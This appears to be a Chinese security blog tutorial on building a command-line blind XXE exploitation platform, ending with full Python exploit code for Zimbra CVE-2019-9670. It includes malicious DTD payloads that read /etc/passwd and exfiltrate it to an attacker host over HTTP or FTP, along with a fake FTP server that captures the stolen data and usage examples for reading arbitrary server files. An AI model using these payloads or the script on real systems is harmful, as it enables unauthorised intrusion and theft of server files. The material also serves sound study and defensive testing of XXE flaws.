渗透工具开发——blind XXE 利用平台的实现
0x00 前言
当应用程序存在 XXE 注入漏洞但不返回其响应中任何定义的外部实体的值时,就会出现 blind XXE 漏洞,这意味着无法直接读取服务器文件,利用起来也比常规 XXE 漏洞更加复杂。
在内网渗透中,最理想的情况是在跳板的命令行下完成整个漏洞的利用,于是我打算用 Python 实现一个完整的 blind XXE 利用平台,支持在命令行下运行。
0x01 简介
本文将要介绍以下内容:
- blind XXE 基本知识
- 设计思路
- 开源代码
0x02 blind XXE 基本知识
参考链接:
0x03 设计思路
1.漏洞验证
XXE 利用代码如下:
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://attacker.com"> ]>
这里定义了一个外部实体,如果存在漏洞,服务器会向指定的 Web 服务器发送 http 请求
Web 服务器的搭建可以使用 Python 的 SimpleHTTPRequestHandler,细节可参考之前的文章 《渗透工具开发——XSS 平台的命令行实现》
2.漏洞利用
XXE 利用代码如下:
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
malicious.dtd 为具体的利用代码,这里有以下两种传输数据的方法
(1) 通过 HTTP 协议传输数据
malicious.dtd 代码示例:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;
参数实体 file
用来保存文件内容
参数实体 eval
用来将文件内容发送至 HTTP 服务器,通过 GET 方式,参数 x 的内容为读取的文件内容
%
为 %
的 HTML 实体编码
在程序实现上,可以对 GET 请求做一个判断,如果满足条件,将参数 x 的内容提取
(2) 通过 FTP 协议传输数据
malicious.dtd 代码示例:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'ftp://web-attacker.com/%file;'>">
%eval;
%exfiltrate;
参数实体 file
用来保存文件内容
参数实体 eval
用来将文件内容发送至 FTP 服务器,发送的 FTP 数据中,除了包括读取的文件内容,还有其他的登录数据
在程序实现上,可以通过 socket 搭建一个简单的 FTP 服务器,将通信内容进行筛选,获得文件内容
FTP 服务器的搭建参考了 xxer ,优点是使用 socket 模拟搭建 FTP 服务器,方便快捷
但是在程序实现上,需要做一些修改,需要注意的内容如下:
- str 和 byte 的转换
- 数据去重,需要将 PORT 命令的返回状态码设置为 500,如果使用 200,客户端会再次发送带有
RETR
的结果,导致最后的数据重复 - 从 FTP 数据中提取文件内容,只提取带有
CWD
和RETR
前缀的内容,去除多余的回车换行可以使用代码print(data, end='')
0x04 开源代码
这里以 Zimbra XXE 漏洞(CVE-2019-9670) 为例,开发一个 blind XXE 利用平台
完整代码如下:
#Python3
import sys
import urllib3
import requests
import threading
import socket
from threading import Thread
from http.server import HTTPServer, SimpleHTTPRequestHandler
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
filetoread = ""
xxeplatform_url = ""
xxeplatform_http_port = ""
xxeplatform_ftp_port = ""
class XXERequestHandler(SimpleHTTPRequestHandler):
def log_message(self, format, *args):
return
def do_GET(self):
if self.path.endswith("file.dtd"):
print("[+] Delivering DTD file to " + self.client_address[0])
if xxeplatform_ftp_port == "false":
xml = """<!ENTITY % file SYSTEM "file://{filetoread}">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://{xxeplatform_url}:{xxeplatform_http_port}/?requestfiledata=%file;'>">
%eval;
%exfiltrate;""".format(filetoread=filetoread,xxeplatform_url=xxeplatform_url,xxeplatform_http_port=xxeplatform_http_port)
else:
xml = """<!ENTITY % file SYSTEM "file://{filetoread}">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'ftp://{xxeplatform_url}:{xxeplatform_ftp_port}/%file;'>">
%eval;
%exfiltrate;""".format(filetoread=filetoread,xxeplatform_url=xxeplatform_url,xxeplatform_ftp_port=xxeplatform_ftp_port)
self.send_response(200)
self.send_header("Content-Length", len(xml))
self.end_headers()
self.wfile.write(str.encode(xml))
if "?requestfiledata=" in self.path:
print("[+] Read file content successfully. The contents are as follows:")
print(self.path[18:])
def do_POST(self):
print(self.path)
post_data = self.rfile.read(length).decode()
print(post_data)
self.send_response(200)
self.send_header("Content-type", "text/plain")
self.end_headers()
self.wfile.write()
#Reference:https://github.com/TheTwitchy/xxer/
class FTPserverThread(threading.Thread):
def __init__(self, conn_addr):
conn, addr = conn_addr
self.conn = conn
self.addr = addr
threading.Thread.__init__(self)
def run(self):
self.conn.send(b'220 Welcome!\r\n')
print("[+] Read file content successfully. The contents are as follows:")
while True:
data = self.conn.recv(1024)
if not data:
break
else:
if "RETR" in bytes.decode(data):
print(bytes.decode(data)[5:], end='')
elif "CWD" in bytes.decode(data):
print(bytes.decode(data)[4:], end='')
#print("FTP: recvd '%s'" % bytes.decode(data))
if "LIST" in bytes.decode(data):
self.conn.send(b"drwxrwxrwx 1 owner group 1 Feb 21 04:37 test\r\n")
self.conn.send(b"150 Opening BINARY mode data connection for /bin/ls\r\n")
self.conn.send(b"226 Transfer complete.\r\n")
elif "USER" in bytes.decode(data):
self.conn.send(b"331 password please\r\n")
elif "PORT" in bytes.decode(data):
self.conn.send(b"500 PORT command error\r\n")
elif "RETR" in bytes.decode(data):
self.conn.send(b"500 Sorry.\r\n\r\n")
else:
self.conn.send(b"230 more data please\r\n")
class FTPserver(threading.Thread):
def __init__(self, port):
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.sock.bind(("0.0.0.0", port))
threading.Thread.__init__(self)
def run(self):
self.sock.listen(5)
while True:
th = FTPserverThread(self.sock.accept())
th.daemon = True
th.start()
def stop(self):
self.sock.close()
def send_XXEPayload(xxeplatform_url, xxeplatform_http_port, target_url):
xxe_data = r"""<!DOCTYPE Autodiscover [
<!ENTITY % dtd SYSTEM "http://{xxeplatform_url}:{xxeplatform_http_port}/file.dtd">
%dtd;
]>
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
<Request>
<EMailAddress>aaaaa</EMailAddress>
<AcceptableResponseSchema>&fileContents;</AcceptableResponseSchema>
</Request>
</Autodiscover>""".format(xxeplatform_url=xxeplatform_url,xxeplatform_http_port=xxeplatform_http_port)
headers = {
"Content-Type":"application/xml"
}
r = requests.post("https://"+target_url+"/Autodiscover/Autodiscover.xml",data=xxe_data,headers=headers,verify=False,timeout=30)
if __name__ == '__main__':
if len(sys.argv)!=5:
print("blind_XXEPlatform_CVE-2019-9670.py")
print("It supports receiving results through HTTP or FTP protocol.")
print("Usage:")
print("%s <xxeplatform_url> <xxeplatform_http_port> <xxeplatform_ftp_port> <target_url>"%(sys.argv[0]))
print("Note:")
print("If you set the value of <xxeplatform_ftp_port> to false, the HTTP mode will be turned on and the results will be received through HTTP")
print("Eg.")
print("%s 192.168.1.1 80 false 192.168.1.2"%(sys.argv[0]))
print("%s 192.168.1.1 80 21 192.168.1.2"%(sys.argv[0]))
sys.exit(0)
else:
xxeplatform_url = sys.argv[1]
xxeplatform_http_port = sys.argv[2]
xxeplatform_ftp_port = sys.argv[3]
target_url = sys.argv[4]
print("[*] HTTP Server listening on %s"%(xxeplatform_http_port))
httpd = HTTPServer(('0.0.0.0', int(xxeplatform_http_port)), XXERequestHandler)
handlerthr = Thread(target=httpd.serve_forever, args=())
handlerthr.daemon = True
handlerthr.start()
if xxeplatform_ftp_port == "false":
print("[*] Receive results over HTTP protocol")
else:
print("[*] FTP Server listening on %s" % (xxeplatform_ftp_port))
t_ftpd = FTPserver(int(xxeplatform_ftp_port))
t_ftpd.daemon = True
t_ftpd.start()
print("[*] Receive results over FTP protocol")
try:
while 1:
filetoread = input("Input the file path to read(Eg. /etc/passwd):")
send_XXEPayload(xxeplatform_url, xxeplatform_http_port, target_url)
except KeyboardInterrupt:
pass
代码支持命令行下使用,传输数据支持 HTTP 和 FTP
HTTP 数据传输模式示例:
blind_XXEPlatform_CVE-2019-9670.py 192.168.1.1 80 false 192.168.1.2
参数说明:
- 本机 IP 为 192.168.1.1
- XXE 服务器 dtd 文件地址为
http://192.168.1.1:80/file.dtd
- HTTP 数据传输地址为
http://192.168.1.1:80/?requestfiledata=xxxx
- 目标服务器地址为
https://192.168.1.2
FTP 数据传输模式示例:
blind_XXEPlatform_CVE-2019-9670.py 192.168.1.1 80 21 192.168.1.2
- 本机 IP 为 192.168.1.1
- XXE 服务器 dtd 文件地址为
http://192.168.1.1:80/file.dtd
- FTP 数据传输地址为
ftp://192.168.1.1:21
- 目标服务器地址为
https://192.168.1.2
0x05 小结
本文介绍了 blind XXE 利用平台的实现,针对其他漏洞的利用,只需要修改函数 send_XXEPayload
的内容。
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论